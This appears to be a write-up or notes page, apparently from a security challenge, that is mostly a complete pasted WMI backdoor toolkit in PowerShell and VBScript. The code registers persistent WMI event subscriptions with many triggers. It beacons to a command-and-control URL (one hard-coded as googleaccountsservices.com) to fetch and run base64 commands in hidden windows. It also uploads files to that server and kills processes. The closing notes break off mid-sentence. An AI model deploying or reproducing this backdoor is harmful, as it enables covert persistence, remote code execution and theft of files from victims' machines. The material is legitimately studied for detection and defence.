Took me a long time to figure out the first couple questions.
Dim oLocation, oServices, oProcessList, oProcess
Set oLocation = CreateObject("WbemScripting.SWbemLocator")
Set oServices = oLocation.ConnectServer(, "root\\cimv2")
Set oProcessList = oServices.ExecQuery("SELECT * FROM Win32_Process WHERE ProcessID = " & TargetEvent.ProcessID)
For Each oProcess in oProcessList
oProcess.Terminate()
Next
Above showcased a WMI
Option Explicit
On Error Resume Next
Dim oXMLHTTP, oReg, aC2URL, aCmdType, aClassName, aPropertyName, aPayload, aMachineGuid
Set oReg = GetObject("winmgmts:{impersonationLevel=impersonate}!\\\\.\\root\\default:StdRegProv")
oReg.GetStringValue &H80000002, "SOFTWARE\\Microsoft\\Cryptography", "MachineGuid", aMachineGuid
aC2URL = "<http://googleaccountsservices.com/index.html&ID=>" & aMachineGuid
Sub StorePayloadInWMIRepo(classname, propertyname, payload)
Dim oLocation, oServices, oDataObject
Set oLocation = CreateObject("WbemScripting.SWbemLocator")
Set oServices = oLocation.ConnectServer(, "root\\cimv2")
Set oDataObject = oServices.Get
oDataObject.Path_.Class = classname
oDataObject.Properties_.Add(propertyname, 8).Value = payload
oDataObject.Put_
End Sub
Sub DeleteWMIClass(classname, propertyname)
Dim oLocation, oServices, oDataObject
Set oLocation = CreateObject("WbemScripting.SWbemLocator")
Set oServices = oLocation.ConnectServer(, "root\\cimv2")
Set oDataObject = oServices.Get
oDataObject.Path_.Class = classname
oDataObject.Properties_.Add(propertyname, 8).Value = ""
oDataObject.Delete_()
End Sub
Sub ExecCommand(command)
Dim oLocation, oServices, oProcess, oStartup, oConfig, oResult, iProcessID
Const HIDDEN_WINDOW = 12
Set oLocation = CreateObject("WbemScripting.SWbemLocator")
Set oServices = oLocation.ConnectServer(, "root\\cimv2")
Set oStartup = oServices.Get("Win32_ProcessStartup")
Set oConfig = oStartup.SpawnInstance_
oConfig.ShowWindow = HIDDEN_WINDOW
Set oProcess = GetObject("winmgmts:root\\cimv2:Win32_Process")
oResult = oProcess.Create(command, null, oConfig, iProcessID)
End Sub
' Decodes a base-64 encoded string (BSTR type).
' 1999 - 2004 Antonin Foller, <http://www.motobit.com>
' 1.01 - solves problem with Access And 'Compare Database' (InStr)
Function Base64Decode(ByVal base64String)
'rfc1521
'1999 Antonin Foller, Motobit Software, <http://Motobit.cz>
Const Base64 = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/"
Dim dataLength, sOut, groupBegin
'remove white spaces, If any
base64String = Replace(base64String, vbCrLf, "")
base64String = Replace(base64String, vbTab, "")
base64String = Replace(base64String, " ", "")
'The source must consists from groups with Len of 4 chars
dataLength = Len(base64String)
If dataLength Mod 4 <> 0 Then
Err.Raise 1, "Base64Decode", "Bad Base64 string."
Exit Function
End If
' Now decode each group:
For groupBegin = 1 To dataLength Step 4
Dim numDataBytes, CharCounter, thisChar, thisData, nGroup, pOut
' Each data group encodes up To 3 actual bytes.
numDataBytes = 3
nGroup = 0
For CharCounter = 0 To 3
' Convert each character into 6 bits of data, And add it To
' an integer For temporary storage. If a character is a '=', there
' is one fewer data byte. (There can only be a maximum of 2 '=' In
' the whole string.)
thisChar = Mid(base64String, groupBegin + CharCounter, 1)
If thisChar = "=" Then
numDataBytes = numDataBytes - 1
thisData = 0
Else
thisData = InStr(1, Base64, thisChar, vbBinaryCompare) - 1
End If
If thisData = -1 Then
Err.Raise 2, "Base64Decode", "Bad character In Base64 string."
Exit Function
End If
nGroup = 64 * nGroup + thisData
Next
'Hex splits the long To 6 groups with 4 bits
nGroup = Hex(nGroup)
'Add leading zeros
nGroup = String(6 - Len(nGroup), "0") & nGroup
'Convert the 3 byte hex integer (6 chars) To 3 characters
pOut = Chr(CByte("&H" & Mid(nGroup, 1, 2))) + _
Chr(CByte("&H" & Mid(nGroup, 3, 2))) + _
Chr(CByte("&H" & Mid(nGroup, 5, 2)))
'add numDataBytes characters To out string
sOut = sOut & Left(pOut, numDataBytes)
Next
Base64Decode = sOut
End Function
Set oXMLHTTP = CreateObject("MSXML2.XMLHTTP")
oXMLHTTP.open "GET", aC2URL, False
oXMLHTTP.send()
If oXMLHTTP.Status = 200 Then
aCmdType = oXMLHTTP.getResponseHeader("Type")
aClassName = oXMLHTTP.getResponseHeader("Class")
aPropertyName = oXMLHTTP.getResponseHeader("Property")
aPayload = Base64Decode(oXMLHTTP.responseText)
Select Case aCmdType
Case "V"
If Not IsNull(aPayload) Then
Execute aPayload
End If
Case "P"
If Not IsNull(aClassName) And Not IsNull(aPropertyName) And Not IsNull(aPayload) Then
Call StorePayloadInWMIRepo(aClassName, aPropertyName, aPayload)
End If
Case "D"
If Not IsNull(aClassName) And Not IsNull(aPropertyName) Then
Call DeleteWMIClass(aClassName, aPropertyName)
End If
Case "C"
If Not IsNull(aPayload) Then
Call ExecCommand(aPayload)
End If
End Select
End If
<#
PoC WMI backdoor. This is a crude WMI backdoor (that doesn't include
a C2 server component) used for demonstration purposes only and to
demonstrate offensive WMI techniques. No further weaponization will
be performed. I will not respond to issues or pull requests.
Author: Matthew Graeber (@mattifestation)
License: BSD 3-Clause
#>
Function New-WMIBackdoorTrigger {
Param (
[Parameter(Mandatory = $True, ParameterSetName = 'Interval')]
[UInt32]
$TimingInterval,
[Parameter(Mandatory = $True, ParameterSetName = 'AbsoluteDatetime')]
[DateTime]
$Datetime,
[Parameter(ParameterSetName = 'Interval')]
[Parameter(ParameterSetName = 'AbsoluteDatetime')]
[ValidateNotNullOrEmpty()]
[String]
$TimerName = 'Timer',
[Parameter(Mandatory = $True, ParameterSetName = 'ProcessStart')]
[ValidateNotNullOrEmpty()]
[String]
$ProcessName,
[Parameter(Mandatory = $True, ParameterSetName = 'NewOrModifiedFile')]
[ValidateScript({ foreach ($Ext in $_) {(!$Ext.Contains('.')) -and ($Ext.Length)} })]
[String[]]
$NewOrModifiedFileExtensions,
[Parameter(Mandatory = $True, ParameterSetName = 'LockedScreen')]
[Switch]
$LockedScreen,
[Parameter(Mandatory = $True, ParameterSetName = 'InteractiveLogon')]
[Switch]
$InteractiveLogon,
[Parameter(Mandatory = $True, ParameterSetName = 'DriveInsertion')]
[Switch]
$DriveInsertion,
[ValidateNotNullOrEmpty()]
[String]
$TriggerName
)
switch ($PsCmdlet.ParameterSetName) {
'Interval' {
if ($TriggerName) {
$Name = $TriggerName
} else {
$Name = 'TimingIntervalTrigger'
}
# Convert minutes to milliseconds
$IntervalMS = $TimingInterval * 60000
$Result = @{
Name = $Name
EventNameSpace = 'ROOT\\cimv2'
QueryLanguage = 'WQL'
Query = "SELECT * FROM __TimerEvent WHERE TimerID = '$TimerName'"
}
# Use $TimerName and $IntervalMS as out of band information to be used by Register-WMIBackdoor
# This is kind of ugly but I wanted to maintain strict function separation for event triggers,
# payloads, and registration.
$Result.PSObject.TypeNames.Insert(0, "WMI.BackdoorTrigger.TimingInterval.$TimerName.$IntervalMS")
return $Result
}
'AbsoluteDatetime' {
if ($TriggerName) {
$Name = $TriggerName
} else {
$Name = 'DatetimeTrigger'
}
$DMTFTime = [Management.ManagementDateTimeConverter]::ToDmtfDateTime($Datetime).Replace('.','_')
$Result = @{
Name = $Name
EventNameSpace = 'ROOT\\cimv2'
QueryLanguage = 'WQL'
Query = "SELECT * FROM __TimerEvent WHERE TimerID = '$TimerName'"
}
$Result.PSObject.TypeNames.Insert(0, "WMI.BackdoorTrigger.DateTime.$TimerName.$DMTFTime")
return $Result
}
'ProcessStart' {
if ($TriggerName) {
$Name = $TriggerName
} else {
$Name = 'ProcessStartTrigger'
}
$Result = @{
Name = $Name
EventNameSpace = 'ROOT\\cimv2'
QueryLanguage = 'WQL'
Query = "SELECT * FROM Win32_ProcessStartTrace WHERE ProcessName = '$ProcessName'"
}
$Result.PSObject.TypeNames.Insert(0, "WMI.BackdoorTrigger.ProcessStart")
return $Result
}
'LockedScreen' {
if ($TriggerName) {
$Name = $TriggerName
} else {
$Name = 'LockedScreenTrigger'
}
$Result = @{
Name = $Name
EventNameSpace = 'ROOT\\cimv2'
QueryLanguage = 'WQL'
Query = 'SELECT * FROM Win32_ProcessStartTrace WHERE ProcessName = "LogonUI.exe"'
}
$Result.PSObject.TypeNames.Insert(0, "WMI.BackdoorTrigger.LockedScreen")
return $Result
}
'InteractiveLogon' {
if ($TriggerName) {
$Name = $TriggerName
} else {
$Name = 'InteractiveLogonTrigger'
}
$Result = @{
Name = $Name
EventNameSpace = 'ROOT\\subscription'
QueryLanguage = 'WQL'
Query = "SELECT * FROM __InstanceCreationEvent WITHIN 15 WHERE TargetInstance ISA 'Win32_LogonSession' AND TargetInstance.LogonType = 2"
}
$Result.PSObject.TypeNames.Insert(0, "WMI.BackdoorTrigger.InteractiveLogon")
return $Result
}
'DriveInsertion' {
if ($TriggerName) {
$Name = $TriggerName
} else {
$Name = 'DriveInsertionTrigger'
}
$Result = @{
Name = $Name
EventNameSpace = 'ROOT\\cimv2'
QueryLanguage = 'WQL'
Query = 'SELECT * FROM Win32_VolumeChangeEvent WHERE EventType = 2'
}
$Result.PSObject.TypeNames.Insert(0, "WMI.BackdoorTrigger.DriveInsertion")
return $Result
}
'NewOrModifiedFile' {
if ($TriggerName) {
$Name = $TriggerName
} else {
$Name = 'NewOrModifiedFileTrigger'
}
$QueryExtensions = ($NewOrModifiedFileExtensions | % { "TargetInstance.Extension = `"$_`"" }) -join ' OR '
$Result = @{
Name = $Name
EventNameSpace = 'ROOT\\cimv2'
QueryLanguage = 'WQL'
Query = "SELECT * FROM __InstanceOperationEvent WITHIN 30 WHERE ((__CLASS = `"__InstanceCreationEvent`" OR __CLASS = `"__InstanceModificationEvent`") AND TargetInstance ISA `"CIM_DataFile`") AND ($QueryExtensions)"
}
$Result.PSObject.TypeNames.Insert(0, "WMI.BackdoorTrigger.NewOrModifiedFile")
return $Result
}
}
}
Function New-WMIBackdoorAction {
Param (
[Parameter(Mandatory = $True, ParameterSetName = 'Backdoor')]
[Parameter(Mandatory = $True, ParameterSetName = 'FileUpload')]
[Uri]
$C2Uri,
[Parameter(Mandatory = $True, ParameterSetName = 'Backdoor')]
[Switch]
$Backdoor,
[Parameter(Mandatory = $True, ParameterSetName = 'KillProcess')]
[Switch]
$KillProcess,
[Parameter(Mandatory = $True, ParameterSetName = 'InfectDrive')]
[Switch]
$InfectDrive,
[Parameter(Mandatory = $True, ParameterSetName = 'FileUpload')]
[Switch]
$FileUpload,
[ValidateNotNullOrEmpty()]
[String]
$ActionName
)
$Base64Decoder = @'
' Decodes a base-64 encoded string (BSTR type).
' 1999 - 2004 Antonin Foller, <http://www.motobit.com>
' 1.01 - solves problem with Access And 'Compare Database' (InStr)
Function Base64Decode(ByVal base64String)
'rfc1521
'1999 Antonin Foller, Motobit Software, <http://Motobit.cz>
Const Base64 = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/"
Dim dataLength, sOut, groupBegin
'remove white spaces, If any
base64String = Replace(base64String, vbCrLf, "")
base64String = Replace(base64String, vbTab, "")
base64String = Replace(base64String, " ", "")
'The source must consists from groups with Len of 4 chars
dataLength = Len(base64String)
If dataLength Mod 4 <> 0 Then
Err.Raise 1, "Base64Decode", "Bad Base64 string."
Exit Function
End If
' Now decode each group:
For groupBegin = 1 To dataLength Step 4
Dim numDataBytes, CharCounter, thisChar, thisData, nGroup, pOut
' Each data group encodes up To 3 actual bytes.
numDataBytes = 3
nGroup = 0
For CharCounter = 0 To 3
' Convert each character into 6 bits of data, And add it To
' an integer For temporary storage. If a character is a '=', there
' is one fewer data byte. (There can only be a maximum of 2 '=' In
' the whole string.)
thisChar = Mid(base64String, groupBegin + CharCounter, 1)
If thisChar = "=" Then
numDataBytes = numDataBytes - 1
thisData = 0
Else
thisData = InStr(1, Base64, thisChar, vbBinaryCompare) - 1
End If
If thisData = -1 Then
Err.Raise 2, "Base64Decode", "Bad character In Base64 string."
Exit Function
End If
nGroup = 64 * nGroup + thisData
Next
'Hex splits the long To 6 groups with 4 bits
nGroup = Hex(nGroup)
'Add leading zeros
nGroup = String(6 - Len(nGroup), "0") & nGroup
'Convert the 3 byte hex integer (6 chars) To 3 characters
pOut = Chr(CByte("&H" & Mid(nGroup, 1, 2))) + _
Chr(CByte("&H" & Mid(nGroup, 3, 2))) + _
Chr(CByte("&H" & Mid(nGroup, 5, 2)))
'add numDataBytes characters To out string
sOut = sOut & Left(pOut, numDataBytes)
Next
Base64Decode = sOut
End Function
'@
switch ($PsCmdlet.ParameterSetName) {
'Backdoor' {
$VBScript = @"
Option Explicit
On Error Resume Next
Dim oXMLHTTP, oReg, aC2URL, aCmdType, aClassName, aPropertyName, aPayload, aMachineGuid
Set oReg = GetObject("winmgmts:{impersonationLevel=impersonate}!\\\\.\\root\\default:StdRegProv")
oReg.GetStringValue &H80000002, "SOFTWARE\\Microsoft\\Cryptography", "MachineGuid", aMachineGuid
aC2URL = "$($C2Uri.AbsoluteUri)index.html&ID=" & aMachineGuid
Sub StorePayloadInWMIRepo(classname, propertyname, payload)
Dim oLocation, oServices, oDataObject
Set oLocation = CreateObject("WbemScripting.SWbemLocator")
Set oServices = oLocation.ConnectServer(, "root\\cimv2")
Set oDataObject = oServices.Get
oDataObject.Path_.Class = classname
oDataObject.Properties_.Add(propertyname, 8).Value = payload
oDataObject.Put_
End Sub
Sub DeleteWMIClass(classname, propertyname)
Dim oLocation, oServices, oDataObject
Set oLocation = CreateObject("WbemScripting.SWbemLocator")
Set oServices = oLocation.ConnectServer(, "root\\cimv2")
Set oDataObject = oServices.Get
oDataObject.Path_.Class = classname
oDataObject.Properties_.Add(propertyname, 8).Value = ""
oDataObject.Delete_()
End Sub
Sub ExecCommand(command)
Dim oLocation, oServices, oProcess, oStartup, oConfig, oResult, iProcessID
Const HIDDEN_WINDOW = 12
Set oLocation = CreateObject("WbemScripting.SWbemLocator")
Set oServices = oLocation.ConnectServer(, "root\\cimv2")
Set oStartup = oServices.Get("Win32_ProcessStartup")
Set oConfig = oStartup.SpawnInstance_
oConfig.ShowWindow = HIDDEN_WINDOW
Set oProcess = GetObject("winmgmts:root\\cimv2:Win32_Process")
oResult = oProcess.Create(command, null, oConfig, iProcessID)
End Sub
$Base64Decoder
Set oXMLHTTP = CreateObject("MSXML2.XMLHTTP")
oXMLHTTP.open "GET", aC2URL, False
oXMLHTTP.send()
If oXMLHTTP.Status = 200 Then
aCmdType = oXMLHTTP.getResponseHeader("Type")
aClassName = oXMLHTTP.getResponseHeader("Class")
aPropertyName = oXMLHTTP.getResponseHeader("Property")
aPayload = Base64Decode(oXMLHTTP.responseText)
Select Case aCmdType
Case "V"
If Not IsNull(aPayload) Then
Execute aPayload
End If
Case "P"
If Not IsNull(aClassName) And Not IsNull(aPropertyName) And Not IsNull(aPayload) Then
Call StorePayloadInWMIRepo(aClassName, aPropertyName, aPayload)
End If
Case "D"
If Not IsNull(aClassName) And Not IsNull(aPropertyName) Then
Call DeleteWMIClass(aClassName, aPropertyName)
End If
Case "C"
If Not IsNull(aPayload) Then
Call ExecCommand(aPayload)
End If
End Select
End If
"@
if ($ActionName) {
$Name = $ActionName
} else {
$Name = 'LaunchBeaconingBackdoor'
}
}
'KillProcess' {
$VBScript = @"
Dim oLocation, oServices, oProcessList, oProcess
Set oLocation = CreateObject("WbemScripting.SWbemLocator")
Set oServices = oLocation.ConnectServer(, "root\\cimv2")
Set oProcessList = oServices.ExecQuery("SELECT * FROM Win32_Process WHERE ProcessID = " & TargetEvent.ProcessID)
For Each oProcess in oProcessList
oProcess.Terminate()
Next
"@
if ($ActionName) {
$Name = $ActionName
} else {
$Name = 'KillProcess'
}
}
'InfectDrive' {
# This is only a PoC at this stage. This payload simply drops
# the EICAR signature to <INSERTED_DRIVE_LETTER>:\\eicar.txt
$VBScript = @"
Dim oFSO, oFile, sFilePath, sDecodedEicar
$Base64Decoder
sDecodedEicar = Base64Decode("WDVPIVAlQEFQWzRcUFpYNTQoUF4pN0NDKTd9JEVJQ0FSLVNUQU5EQVJELUFOVElWSVJVUy1URVNULUZJTEUhJEgrSCo=")
Set oFSO = CreateObject("Scripting.FileSystemObject")
sFilePath = TargetEvent.DriveName & "\\eicar.txt"
Set oFile = oFSO.CreateTextFile(sFilePath, True)
oFile.Write sDecodedEicar
oFile.Close
"@
if ($ActionName) {
$Name = $ActionName
} else {
$Name = 'DriveInfector'
}
}
'FileUpload' {
$VBScript = @"
On Error Resume Next
Dim oReg, oXMLHTTP, oStream, aMachineGuid, aC2URL, vBinary
Set oReg = GetObject("winmgmts:{impersonationLevel=impersonate}!\\\\.\\root\\default:StdRegProv")
oReg.GetStringValue &H80000002, "SOFTWARE\\Microsoft\\Cryptography", "MachineGuid", aMachineGuid
aC2URL = "$($C2Uri.AbsoluteUri)index.html&ID=" & aMachineGuid
Set oStream = CreateObject("ADODB.Stream")
oStream.Type = 1
oStream.Open
oStream.LoadFromFile TargetEvent.TargetInstance.Name
vBinary = oStream.Read
Set oXMLHTTP = CreateObject("MSXML2.XMLHTTP")
oXMLHTTP.open "POST", aC2URL, False
oXMLHTTP.setRequestHeader "Path", TargetEvent.TargetInstance.Name
oXMLHTTP.send(vBinary)
"@
if ($ActionName) {
$Name = $ActionName
} else {
$Name = 'FileUpload'
}
}
}
$Action = @{
Name = $Name
ScriptingEngine = 'VBScript'
ScriptText = $VBScript
KillTimeout = [UInt32] 45
}
$Action.PSObject.TypeNames.Insert(0, 'WMI.BackdoorAction')
return $Action
}
Function Register-WMIBackdoor {
Param (
[Parameter(Mandatory = $True)]
[ValidateScript({$_.PSObject.TypeNames[0].StartsWith('WMI.BackdoorTrigger')})]
[Hashtable]
$Trigger,
[Parameter(Mandatory = $True)]
[ValidateScript({$_.PSObject.TypeNames[0] -eq 'WMI.BackdoorAction'})]
[Hashtable]
$Action,
[String]
[ValidateNotNullOrEmpty()]
[Alias('Cn')]
$ComputerName = '.',
[Management.Automation.PSCredential]
$Credential
)
$TypeComponents = $Trigger.PSObject.TypeNames[0].Split('.')
# Register the timer components if a time-based trigger was selected
switch ($TypeComponents[2]) {
'TimingInterval' {
$TimerName = $TypeComponents[3]
$TimingInterval = $TypeComponents[4]
$TimerArg = @{
IntervalBetweenEvents = ([UInt32] $TimingInterval)
SkipIfPassed = $False
TimerId = $TimerName
}
$Arguments = @{
Namespace = 'ROOT\\cimv2'
Class = '__IntervalTimerInstruction'
ComputerName = $ComputerName
Arguments = $TimerArg
ErrorAction = 'Stop'
}
if ($PSBoundParameters['Credential']) { $Arguments['Credential'] = $PSBoundParameters['Credential'] }
$Timer = Set-WmiInstance @Arguments
}
'DateTime' {
$TimerName = $TypeComponents[3]
$DateTime = $TypeComponents[3].Replace('_', '.')
$TimerArg = @{
EventDateTime = $DateTime
SkipIfPassed = $False
TimerId = $TimerName
}
$Arguments = @{
Namespace = 'ROOT\\cimv2'
Class = '__AbsoluteTimerInstruction'
ComputerName = $ComputerName
Arguments = $TimerArg
ErrorAction = 'Stop'
}
if ($PSBoundParameters['Credential']) { $Arguments['Credential'] = $PSBoundParameters['Credential'] }
$Timer = Set-WmiInstance @Arguments
}
}
$FilterParams = @{
Namespace = 'root\\subscription'
Class = '__EventFilter'
ComputerName = $ComputerName
Arguments = $Trigger
ErrorAction = 'Stop'
}
if ($PSBoundParameters['Credential']) { $FilterParams['Credential'] = $PSBoundParameters['Credential'] }
$Filter = Set-WmiInstance @FilterParams
$ConsumerParams = @{
Namespace = 'root\\subscription'
Class = 'ActiveScriptEventConsumer'
ComputerName = $ComputerName
Arguments = $Action
ErrorAction = 'Stop'
}
if ($PSBoundParameters['Credential']) { $ConsumerParams['Credential'] = $PSBoundParameters['Credential'] }
$Consumer = Set-WmiInstance @ConsumerParams
$BindingParams = @{
Namespace = 'root\\subscription'
Class = '__FilterToConsumerBinding'
ComputerName = $ComputerName
Arguments = @{ Filter = $Filter; Consumer = $Consumer }
ErrorAction = 'Stop'
}
if ($PSBoundParameters['Credential']) { $BindingParams['Credential'] = $PSBoundParameters['Credential'] }
$FilterConsumerBinding = Set-WmiInstance @BindingParams
$Result = New-Object PSObject -Property @{
Filter = $Filter
Consumer = $Consumer
Binding = $FilterConsumerBinding
}
$Result.PSObject.TypeNames.Insert(0, 'WMI.BackdoorRegistration')
return $Result
}
For cathcing the processes. I used Process Explorer and set the update speed to 10 seconds. Therefore, no matter how quick the program starts and